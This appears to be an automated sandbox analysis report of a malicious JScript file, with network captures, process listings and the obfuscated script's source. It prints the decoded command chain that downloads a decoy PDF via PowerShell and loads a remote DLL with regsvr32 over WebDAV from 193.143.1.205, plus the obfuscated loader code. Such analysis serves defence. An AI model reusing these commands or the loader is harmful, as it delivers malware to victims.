Jan 11, 2025 02:46:53.532516956 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:53.532907963 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:53.537679911 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:54.292295933 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:54.338104963 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:54.855983973 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:47:00.910973072 CET	63196	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:47:00.910973072 CET	192.168.2.5	1.1.1.1	0x5e1f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:47:00.917934895 CET	1.1.1.1	192.168.2.5	0x5e1f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:47:01.621643066 CET	1.1.1.1	192.168.2.5	0x2546	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5960	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:46:50.733426094 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:46:51.534027100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:46:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:46:51.534039021 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:46:51.534049988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:46:51.534104109 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:46:51.534120083 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:46:51.534262896 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 02:46:51.534275055 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:46:51.534285069 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 02:46:51.534296036 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 02:46:51.534323931 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 02:46:51.538958073 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6332	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:46:53.532907963 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:46:54.292295933 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:46:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js"
Imagebase:	0x7ff71d210000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:46:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll
Imagebase:	0x7ff70b5a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:46:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:46:47
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:46:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:46:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70b5a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:46:52
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e8a00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:46:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:46:53
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:46:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1584,i,17276702314732939705,17623146584456204359,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wuyxaeiis() {	wuyxaeiis() ➔ undefined
1	rognz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eltmbhx = this[viron + ysbrm + mtwkyhcjr + sxwtc + rtutr + qutiyobp + rehfuqa + edxvckk] ( this[uialweix + eseuoaquz + ipmsl + mtwkyhcjr + ekcnvesbp + viron + edxvckk][jzzyqkscw + mtwkyhcjr + rtutr + ysbrm + edxvckk + rtutr + svstlv + wmnpvyv + xworhclm + rtutr + ipmsl + edxvckk] ( uialweix + eseuoaquz + ipmsl + mtwkyhcjr + ekcnvesbp + viron + edxvckk + unxoflqwe + eseuoaquz + odpwbgbwd + rtutr + wxqge + wxqge ) [nghjd + rtutr + vudyfm + nghjd + rtutr + ysbrm + leujigo] ( ifrau + snjiota + ictsige + ecbpg + pomjomcse + jzzyqkscw + estyoa + nghjd + nghjd + ictsige + igyrgvob + gouefhku + pomjomcse + estyoa + eseuoaquz + ictsige + nghjd + jdzxadfxr + jzzyqkscw + zpbqcyer + rehfuqa + edxvckk + mtwkyhcjr + zpbqcyer + wxqge + ysbrofrjo + ygnftqwl + ysbrm + rehfuqa + rtutr + wxqge + jdzxadfxr + qutiyobp + rehfuqa + edxvckk + rtutr + mtwkyhcjr + rehfuqa + ysbrm + edxvckk + ekcnvesbp + zpbqcyer + rehfuqa + ysbrm + wxqge + jdzxadfxr + lifrq + zpbqcyer + ipmsl + ysbrm + wxqge + rtutr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( eymwe = 0 ; eymwe < rognz[wxqge + rtutr + rehfuqa + vudyfm + edxvckk + odpwbgbwd] ; ++ eymwe )
4	{
5	if ( eltmbhx == rognz[eymwe] )
6	{
7	eltmbhx = true;
8	break ;
9	}
10	}
11	if ( eltmbhx !== true )
12	this[uialweix + eseuoaquz + ipmsl + mtwkyhcjr + ekcnvesbp + viron + edxvckk][ttqpkc + oqriubc + ekcnvesbp + edxvckk] ( );
13	this[uialweix + eseuoaquz + ipmsl + mtwkyhcjr + ekcnvesbp + viron + edxvckk][jzzyqkscw + mtwkyhcjr + rtutr + ysbrm + edxvckk + rtutr + svstlv + wmnpvyv + xworhclm + rtutr + ipmsl + edxvckk] ( uialweix + eseuoaquz + ipmsl + mtwkyhcjr + ekcnvesbp + viron + edxvckk + unxoflqwe + eseuoaquz + odpwbgbwd + rtutr + wxqge + wxqge ) [mtwkyhcjr + oqriubc + rehfuqa] ( ipmsl + sipze + leujigo + ysbrofrjo + xcscnw + ipmsl + ysbrofrjo + viron + zpbqcyer + scixqv + rtutr + mtwkyhcjr + sxwtc + odpwbgbwd + rtutr + wxqge + wxqge + unxoflqwe + rtutr + dgfmjwd + rtutr + ysbrofrjo + ccrag + jzzyqkscw + zpbqcyer + sipze + sipze + ysbrm + rehfuqa + leujigo + ysbrofrjo + gozislfo + qutiyobp + rehfuqa + vbszey + zpbqcyer + mqkvbe + rtutr + ccrag + uialweix + rtutr + wmnpvyv + nghjd + rtutr + snibdbng + oqriubc + rtutr + sxwtc + edxvckk + ysbrofrjo + ccrag + svstlv + oqriubc + edxvckk + yicdftkp + ekcnvesbp + wxqge + rtutr + ysbrofrjo + olgrzi + edxvckk + rtutr + sipze + viron + olgrzi + jdzxadfxr + ekcnvesbp + rehfuqa + vbszey + zpbqcyer + ekcnvesbp + ipmsl + rtutr + unxoflqwe + viron + leujigo + bfnqc + ysbrofrjo + odpwbgbwd + edxvckk + edxvckk + viron + jhazock + xcscnw + xcscnw + giwwkj + eiwkymwu + skfjej + unxoflqwe + giwwkj + kaqpa + skfjej + unxoflqwe + giwwkj + unxoflqwe + whebetbj + nyaatynu + nlrnzxo + xcscnw + ekcnvesbp + rehfuqa + vbszey + zpbqcyer + ekcnvesbp + ipmsl + rtutr + unxoflqwe + viron + odpwbgbwd + viron + gozislfo + ihchuvy + ihchuvy + sxwtc + edxvckk + ysbrm + mtwkyhcjr + edxvckk + ysbrofrjo + olgrzi + edxvckk + rtutr + sipze + viron + olgrzi + jdzxadfxr + ekcnvesbp + rehfuqa + vbszey + zpbqcyer + ekcnvesbp + ipmsl + rtutr + unxoflqwe + viron + leujigo + bfnqc + ihchuvy + ihchuvy + ipmsl + sipze + leujigo + ysbrofrjo + xcscnw + ipmsl + ysbrofrjo + rehfuqa + rtutr + edxvckk + ysbrofrjo + oqriubc + sxwtc + rtutr + ysbrofrjo + jdzxadfxr + jdzxadfxr + giwwkj + eiwkymwu + skfjej + unxoflqwe + giwwkj + kaqpa + skfjej + unxoflqwe + giwwkj + unxoflqwe + whebetbj + nyaatynu + nlrnzxo + sjlkg + oudls + oudls + oudls + oudls + jdzxadfxr + leujigo + ysbrm + vbszey + scixqv + scixqv + scixqv + mtwkyhcjr + zpbqcyer + zpbqcyer + edxvckk + jdzxadfxr + ihchuvy + ihchuvy + ipmsl + sipze + leujigo + ysbrofrjo + xcscnw + ipmsl + ysbrofrjo + mtwkyhcjr + rtutr + vudyfm + sxwtc + vbszey + mtwkyhcjr + skfjej + whebetbj + ysbrofrjo + xcscnw + sxwtc + ysbrofrjo + jdzxadfxr + jdzxadfxr + giwwkj + eiwkymwu + skfjej + unxoflqwe + giwwkj + kaqpa + skfjej + unxoflqwe + giwwkj + unxoflqwe + whebetbj + nyaatynu + nlrnzxo + sjlkg + oudls + oudls + oudls + oudls + jdzxadfxr + leujigo + ysbrm + vbszey + scixqv + scixqv + scixqv + mtwkyhcjr + zpbqcyer + zpbqcyer + edxvckk + jdzxadfxr + whebetbj + eiwkymwu + oudls + skfjej + giwwkj + fcruq + nlrnzxo + giwwkj + fcruq + fcruq + oudls + whebetbj + eiwkymwu + unxoflqwe + leujigo + wxqge + wxqge, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll",0,false) ➔ 0
14	}
15	oqriubc = "j";
16	oqriubc = "x";
17	oqriubc = "G";
18	oqriubc = "T";
19	oqriubc = "i";
20	oqriubc = "B";
21	oqriubc = "O";
22	oqriubc = "E";
23	oqriubc = "l";
24	oqriubc = "F";
25	oqriubc = "I";
26	oqriubc = "j";
27	oqriubc = "o";
28	oqriubc = "C";
29	oqriubc = "N";
30	oqriubc = "Z";
31	oqriubc = "R";
32	oqriubc = "S";
33	oqriubc = "P";
34	oqriubc = "P";
35	oqriubc = "S";
36	oqriubc = "F";
37	oqriubc = "p";
38	oqriubc = "T";
39	oqriubc = "g";
40	oqriubc = "Z";
41	oqriubc = "J";
42	oqriubc = "E";
43	oqriubc = "p";
44	oqriubc = "S";
45	oqriubc = "S";
46	oqriubc = "g";
47	oqriubc = "U";
48	oqriubc = "u";
49	oqriubc = "K";
50	oqriubc = "u";
51	oqriubc = "g";
52	oqriubc = "w";
53	oqriubc = "I";
54	oqriubc = "h";
55	oqriubc = "u";
56	wxqge = "l";
57	jhazock = "G";
58	jhazock = "R";
59	jhazock = "E";
60	jhazock = "n";
61	jhazock = "w";
62	jhazock = "L";
63	jhazock = "q";
64	jhazock = "z";
65	jhazock = "V";
66	jhazock = "F";
67	jhazock = "r";
68	jhazock = "l";
69	jhazock = "e";
70	jhazock = "V";
71	jhazock = "P";
72	jhazock = "o";
73	jhazock = "V";
74	jhazock = "I";
75	jhazock = "F";
76	jhazock = "S";
77	jhazock = "l";
78	jhazock = "F";
79	jhazock = "K";
80	jhazock = ":";
81	wmnpvyv = "F";
82	wmnpvyv = "i";
83	wmnpvyv = "R";
84	wmnpvyv = "h";
85	wmnpvyv = "y";
86	wmnpvyv = "U";
87	wmnpvyv = "W";
88	wmnpvyv = "o";
89	wmnpvyv = "O";
90	wmnpvyv = "J";
91	wmnpvyv = "x";
92	wmnpvyv = "s";
93	wmnpvyv = "P";
94	wmnpvyv = "a";
95	wmnpvyv = "a";
96	wmnpvyv = "u";
97	wmnpvyv = "c";
98	wmnpvyv = "h";
99	wmnpvyv = "S";
100	wmnpvyv = "y";
101	wmnpvyv = "A";
102	wmnpvyv = "H";
103	wmnpvyv = "M";
104	wmnpvyv = "n";
105	wmnpvyv = "t";
106	wmnpvyv = "x";
107	wmnpvyv = "z";
108	wmnpvyv = "R";
109	wmnpvyv = "I";
110	wmnpvyv = "s";
111	wmnpvyv = "s";
112	wmnpvyv = "H";
113	wmnpvyv = "b";
114	eseuoaquz = "S";
115	lifrq = "z";
116	lifrq = "n";
117	lifrq = "k";
118	lifrq = "s";
119	lifrq = "l";
120	lifrq = "o";
121	lifrq = "A";
122	lifrq = "o";
123	lifrq = "G";
124	lifrq = "p";
125	lifrq = "w";
126	lifrq = "I";
127	lifrq = "b";
128	lifrq = "t";
129	lifrq = "C";
130	lifrq = "I";
131	lifrq = "x";
132	lifrq = "P";
133	lifrq = "L";
134	vbszey = "R";
135	vbszey = "P";
136	vbszey = "C";
137	vbszey = "Q";
138	vbszey = "r";
139	vbszey = "X";
140	vbszey = "X";
141	vbszey = "Z";
142	vbszey = "I";
143	vbszey = "e";
144	vbszey = "w";
145	vbszey = "X";
146	vbszey = "C";
147	vbszey = "D";
148	vbszey = "X";
149	vbszey = "Y";
150	vbszey = "H";
151	vbszey = "n";
152	vbszey = "J";
153	vbszey = "U";
154	vbszey = "j";
155	vbszey = "M";
156	vbszey = "r";
157	vbszey = "l";
158	vbszey = "R";
159	vbszey = "r";
160	vbszey = "o";
161	vbszey = "a";
162	vbszey = "j";
163	vbszey = "j";
164	vbszey = "Q";
